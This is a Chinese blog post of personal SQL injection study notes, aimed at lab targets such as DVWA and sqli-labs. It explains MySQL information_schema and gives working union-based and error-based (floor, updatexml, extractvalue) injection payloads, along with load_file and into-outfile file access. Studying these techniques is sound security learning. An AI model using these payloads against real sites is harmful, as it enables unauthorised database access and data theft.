sql注入一些学习笔记

news/2024/11/19 11:40:29/文章来源:https://www.cnblogs.com/ltlearnweb/p/18347913

以下内容主要是作为自己学习笔记记录使用,可能会有错误,欢迎指正,所有内容仅供参考,部分名词内容解释来自其他博主或chatgpt,如有侵权,联系删除

一些基础的表
information_schema.schemata

  1. schemata_name其实就是databases

  2. Catalog_name
    每个Catalog包含多个Schema,每个Schema包含多个数据库对象(表、视图、字段等)
    如数据库对象表的全限定名可表示为:Catalog名.Schema名.表名 但部分数据库系统不支持

  3. DEFAULT_CHARACTER_SET_NAME和DEFAULT_COLLATION_NAME
    DEFAULT_CHARACTER_SET_NAME和DEFAULT_COLLATION_NAME会返回数据库默认的字符集和校对规则的名称。例如,DEFAULT_CHARACTER_SET_NAME可能返回"utf8",表示数据库默认的字符集是UTF-8编码,而DEFAULT_COLLATION_NAME可能返回"utf8_unicode_ci",表示数据库默认的校对规则是UTF-8的Unicode不区分大小写排序。

information_schema.tables
所有数据库中所有的表

前几个有用
TABLE_CATALOG:表所属的数据库名。
TABLE_SCHEMA:表所属的模式(也就是数据库名)。
TABLE_NAME:表的名称。
TABLE_TYPE:表的类型,例如"BASE TABLE"表示普通表,"VIEW"表示视图。
ENGINE:表的存储引擎,表示表的底层存储结构,例如"InnoDB"、"MyISAM"等。
VERSION:当前表的版本号。
ROW_FORMAT:表的行格式,表示表中数据的存储方式,例如"Dynamic"、"Fixed"等。
TABLE_ROWS:表中的行数。
AVG_ROW_LENGTH:表中平均行长度。
DATA_LENGTH:表中数据的总长度。
MAX_DATA_LENGTH:表中数据的最大长度。
INDEX_LENGTH:表中索引占用的空间长度

information_schema.columns
所有数据库中所有表的所有列

前几个有用
TABLE_CATALOG:列所属的数据库名。
TABLE_SCHEMA:列所属的模式(也就是数据库名)。
TABLE_NAME:列所属的表的名称。
COLUMN_NAME:列的名称。
ORDINAL_POSITION:列的顺序位置。
COLUMN_DEFAULT:列的默认值。
IS_NULLABLE:列是否允许为空,取值为"YES"或"NO"。
DATA_TYPE:列的数据类型,例如"int"、"varchar"等。
CHARACTER_MAXIMUM_LENGTH:字符型列的最大长度。
CHARACTER_OCTET_LENGTH:字符型列以字节为单位的最大长度。
NUMERIC_PRECISION:数值列的精度。
NUMERIC_SCALE:数值列的小数位数。
DATETIME_PRECISION:日期时间列的精度。
CHARACTER_SET_NAME:字符型列的字符集。
COLLATION_NAME:字符型列的校对规则。
后面几个表基本不用
information_schema.STATISTICS
内容:包含了当前数据库中所有表的索引统计信息,包括索引名称、列名、索引的基数(Cardinality)等。
作用:用于获取表的索引统计信息,可以用于优化查询和索引性能。
information_schema.KEY_COLUMN_USAGE
内容:包含了当前数据库中所有外键的信息,包括外键名称、关联的表和列等。
作用:用于查询表之间的外键关系,可以用于分析数据库的数据完整性。
**information_schema.ROUTINES **
内容:包含了当前数据库中所有存储过程和函数的信息,包括名称、类型、创建时间等。
作用:用于查询存储过程和函数的信息,可以用于管理和调用存储过程和函数。
**information_schema.VIEWS **
内容:包含了当前数据库中所有视图的信息,包括视图名称、定义的查询语句等。
作用:用于查询视图的信息,可以用于动态查询视图定义和属性。
**information_schema.USER_PRIVILEGES **
内容:包含了当前数据库中用户权限的信息,包括用户、主机、权限等。
作用:用于查询用户的权限信息,可以用于管理和审计用户的权限。

零星知识
"LIMIT 0, 1"语句用于在SQL中对结果集进行分页,其中第一个数字表示从哪一行开始检索,第二个数字表示要检索的行数。

user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。
group_concat():和 concat() 类似如
group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
concat_ws():用法类似
hex() 和 unhex():用于 hex 编码解码
load_file():以文本方式读取文件,在 Windows 中,路径设置为 \
select xxoo into outfile '路径':权限较高时可直接写文件

注释# 和-- Url-- 后的空格要+所以填--+

分析字段数
1' order by 3#
1' union select 1,2,3#
一个个试,比如试到3

常用语句及解释
id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+
information_schema.schemata,存着其他各个数据库的信息。获得所有数据库名字。
-1' union select 1,2,table_name from information_schema.tables where table_schema= 'dvwa'#
获得数据库dvwa下所有表名字。

-1' union select 1,2, column_namefrom information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
目的是获得数据库dvwa下users表的所有列名
还可以show columns from dvwa.users

floor报错注入
是利用select count(),(floor(rand(0)2)) x from users group by x这个相对固定的语句格式,导致的数据库报错
具体原因参考https://www.cnblogs.com/kjcy8/p/16413428.html

构造
select 1 from (select count(),concat((payload),floor(rand(0)2))x from information_schema.tables group by x)a--+
(select count(),concat((payload),floor(rand(0)2))x from information_schema.tables group by x) a from后面用select语句构建表,并给予别名a
其中payload为你要插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出来的信息。

updatexml报错注入
updatexml(目标xml文档,xml路径,更新的内容)
第二个参数 xml路径 是可操作的地方,xml文档中路径是用 /xxx/xxx/xxx/…这种格式,使用concat()拼接 ‘ / ‘ 效果相同,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
原理https://www.cnblogs.com/zhengna/p/12575676.html
有一点需要注意,update()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.users where id=1 and updatexml('anything',concat('~',substring((select database()),1,5)),'anything');
如http://127.0.0.1/sql/Less-6/?id=1" and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
其中0x7e是ASCII编码,解码结果为~。

extractvalue()的报错注入
extractvalue (xml_data, xpath_expression)
xml_data: 包含XML数据的字段或表达式。
xpath_expression: XPath路径表达式,用于指定要提取值的位置。
无效的XPath表达式(xpath_expression)可能会导致报错。
构建and extractvalue(1, payload),比如
and ExtractValue(1, CONCAT('username:', (SELECT database())))
比如 and extractvalue(null,concat(0x7e,(select database()),0x7e));--+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/779463.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ubuntu Linux 搭建邮件服务器(postfix + dovecot)

准备工作 1. 一台公网服务器(需要不被服务商限制发件收件的,也就是端口25、110、143、465、587、993、995不被限制),如有防火墙或安全组需要把这些端口开放 2. 一个域名,最好是com cn org的一级域名 3. 域名备案(如果服务器是国外的则不需要备案) 一、配置域名解析 1. 登…

洛谷P1064 金明的预算方案——题解

洛谷P1064题解传送锚点摸鱼环节 [NOIP2006 提高组] 金明的预算方案 题目描述 金明今天很开心,家里购置的新房就要领钥匙了,新房里有一间金明自己专用的很宽敞的房间。更让他高兴的是,妈妈昨天对他说:“你的房间需要购买哪些物品,怎么布置,你说了算,只要不超过 \(n\) 元钱…

从0到1:穿透 SpringCloud 工业级 底座工程的架构和实操,让自己实力猛增

文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录 博客园版 为您奉上珍贵的学习资源 : 免费赠送 :《尼恩Java面试宝典》 持续更新+ 史上最全 + 面试必备 2000页+ 面试必备 + 大厂必备 +涨薪必备 免费赠送 :《尼恩技术圣经+高并发系列PDF》 ,帮你 实现技术自由,…

最小二乘法原理推导+代码实现[Python]

0.前言本文主要介绍了最小二乘法公式推导,并且使用Python语言实现线性拟合。 读者需要具备高等数学、线性代数、Python编程知识。 请读者按照文章顺序阅读。 绘图软件为:geogebra5。1.原理推导 1.1应用 最小二乘法在购房中的应用通常涉及房价预测和房屋定价方面。这种统计方法…

SpringBoot项目中HTTP请求体只能读一次?试试这方案

问题描述 在基于Spring开发Java项目时,可能需要重复读取HTTP请求体中的数据,例如使用拦截器打印入参信息等,但当我们重复调用getInputStream()或者getReader()时,通常会遇到类似以下的错误信息:大体的意思是当前request的getInputStream()已经被调用过了。那为什么会出现这…

类与类之间的基本关系

类与类之间的基本关系 类与类之间的六种关系 一、继承关系继承指的是一个类(称为子类、子接口)继承另外的一个类(称为父类、父接口)的功能,并可以增加它自己的新功能的能力。在Java中继承关系通过关键字extends明确标识,在设计时一般没有争议性。在UML类图设计中,继承用…

js 将十进制字符串转换成4字节的字节数组

函数function convertToHexArrays(input) {// 通过制表符分割输入字符串const numbers = input.split(\t);// 用于存储结果的数组const result = [];for (let num of numbers) {// 将字符串转换为数字const value = parseInt(num);// 创建一个 4 字节的 ArrayBufferconst buffe…

超异构计算杂谈

超异构计算杂谈 在这一节中要从更远的视角来看看计算机架构发展的黄金 10 年,主要将围绕异构计算和超异构来展开。在开始具体内容前,非常推荐观看以下两个视频:计算机架构的新黄金时代:A New Golden Age for Computer Architecture 编译器的黄金时代:The Golden Age of Co…

转发wsa和安卓模拟器网络

adb连接上设备后, 执行 执行端口转发 adb forward tcp:6789 tcp:888`就可以了, 把设备的8888端口转发到本机6789, 本机postman之类直接访问 127.0.0.1:6789即可 其他笔记:连接wsa: adb connect 127.0.0.1:58526 连接安卓模拟器: adb connect 127.0.0.1:58526 安装app adb -s 1…

09HTML+CSS

完成小兔鲜儿商城界面1 <!DOCTYPE html>2 <html lang="en">3 4 <head>5 <meta charset="UTF-8">6 <meta name="viewport" content="width=device-width, initial-scale=1.0">7 <!-- 提升…

macos上安装esp-idf v4.2版本

参考 https://docs.espressif.com/projects/esp-idf/en/release-v5.0/esp32/get-started/linux-macos-setup.html 安装 Prerequisites brew install cmake ninja dfu-utilgit下载idf 4.2版本并安装 git clone -b release/v4.2 --recursive https://github.com/espressif/esp-id…

VS设置 LLVM-Clang 编译器进行编译C++项目

在VS中默认的C++编译器一般为 MSVC 编译器,可以根据自己的需要将其设置为 LLVM-Clang 编译器。主要有两种方案: 1)直接使用 Visual Studio Installer来自动下载对应的 Clang 编译器和构建工具,后续无需再进行配置,便可直接使用。 2)使用自己编译或者单独下载的 LLVM-Clan…